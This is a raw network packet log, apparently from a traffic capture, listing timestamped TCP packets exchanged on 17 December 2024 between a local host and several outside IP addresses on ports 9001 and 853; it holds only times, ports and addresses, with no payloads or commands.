Dec 17, 2024 11:49:35.996587992 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.996613026 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.996650934 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.997181892 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.997226000 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.997304916 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.997318029 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.997355938 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.998199940 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.998260975 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.998302937 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.998399019 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.999253035 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.999380112 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.999399900 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.999435902 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.000345945 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.000432968 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.000484943 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.001351118 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.001404047 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.001457930 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.001498938 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.002441883 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.002486944 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.002530098 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.002562046 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.003515959 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.003572941 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.003634930 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.003669977 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.004610062 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.004693985 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.004761934 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.004803896 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.005584002 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.005702972 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.005719900 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.005752087 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.006701946 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.006763935 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.006824017 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.006867886 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.007760048 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.007826090 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.007968903 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.008009911 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.008773088 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.008832932 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.009124041 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.009190083 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.009891987 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.009937048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.010082960 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.010133028 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.010962009 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.010978937 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.011116028 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.012064934 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.012144089 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.012147903 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.012176037 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.013072968 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.013094902 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.013112068 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.013134956 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.014117956 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.014175892 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.014229059 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.014260054 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.015607119 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.015626907 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.015662909 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.016434908 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.016479969 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.016617060 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.016657114 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.017339945 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.017379045 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.017411947 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.017509937 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.018449068 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.018496990 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.018517971 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.018554926 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.019844055 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.019866943 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.019891024 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.019912958 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.020804882 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.020853043 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.039045095 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.039371967 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.040157080 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.040196896 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.095055103 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.095143080 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.116974115 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.128468037 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.142379999 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.142479897 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.142529011 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.142971992 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.143100977 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.143157959 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.144226074 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.144320965 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.144360065 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.145467997 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.145600080 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.145704031 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.146682024 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.146693945 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.146747112 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.147638083 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.147703886 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.147820950 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.148685932 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.148720980 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.148776054 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.149934053 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.150080919 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.150134087 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.151106119 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.151236057 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.151444912 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.152348995 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.152462006 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.152904987 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.153551102 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.156919956 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.157049894 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.157087088 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.157087088 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.157459974 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.157510042 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.157596111 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.157635927 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.158488035 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.158812046 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.158866882 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.158936024 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.158987045 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.159902096 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.159959078 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.160059929 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.160095930 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.160099983 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.160152912 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.160269976 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.160352945 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.160500050 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.160602093 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.160847902 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.160856962 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.160968065 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.161067963 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.161082983 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.161125898 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.161144018 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.161179066 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.162111998 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.162154913 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.162163019 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.162198067 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.163093090 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.163145065 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.163180113 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.163213968 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.164179087 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.164223909 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.164382935 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.164422989 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.165241957 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.165280104 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.165378094 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.165416956 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.166265011 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.166315079 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.166497946 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.166584969 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.167395115 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.167440891 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.167463064 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.167495012 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.168694973 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.168745995 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.168795109 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.169858932 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.169917107 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.169934988 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.169985056 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.170567989 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.170608997 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.170635939 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.170734882 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.171570063 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.171628952 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.172017097 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.172064066 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.172832012 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.172859907 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.172880888 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.172903061 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.173809052 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.173882008 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.173918009 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.174115896 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.175033092 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.175082922 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.175096989 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.175143003 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.175915003 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.175970078 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.175975084 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.176008940 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.176918030 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.176965952 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.177009106 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.177063942 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.177989006 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.178039074 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.178102016 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.178145885 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.179059029 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.179243088 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.179297924 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.180087090 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.180146933 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.180154085 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.180191040 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.181112051 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.181260109 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.181266069 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.181318045 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.182248116 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.182313919 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.182390928 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.182435989 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.183296919 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.183343887 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.183418036 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.183464050 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.184312105 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.184432030 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.184463978 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.184500933 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.185518026 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.185554981 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.185578108 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.185604095 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.186594963 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.186641932 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.186721087 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.186793089 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.187618971 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.187664986 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.187716961 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.187756062 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.188631058 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.188678980 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.188688993 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.188725948 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.189634085 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.189805984 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.189815044 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.189842939 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.190680981 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.190737963 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.190798044 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.190882921 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.191760063 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.191816092 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.191904068 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.191951990 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.192964077 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.193037033 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.193092108 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.194114923 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.194178104 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.194274902 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.194323063 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.194964886 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.195014000 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.195053101 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.195097923 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.195988894 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.196049929 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.196100950 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.197068930 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.197139025 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.197196960 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.197236061 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.198137045 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.198184967 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.198270082 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.198311090 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.199218988 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.199338913 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.199351072 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.199378014 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.200442076 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.200495958 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.200516939 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.200555086 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.201309919 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.201364040 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.201440096 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.201489925 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.202449083 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.202493906 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.202559948 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.202572107 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.202596903 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.203423023 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.203468084 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.203525066 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.203561068 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.204511881 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.204560041 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.204627037 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.204659939 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.205575943 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.205679893 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.205720901 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.205746889 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.205776930 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.206585884 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.206644058 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.206724882 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.206762075 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.207806110 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.207987070 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.208029985 CET	49722	9001	192.168.2.5	18.18.82.18
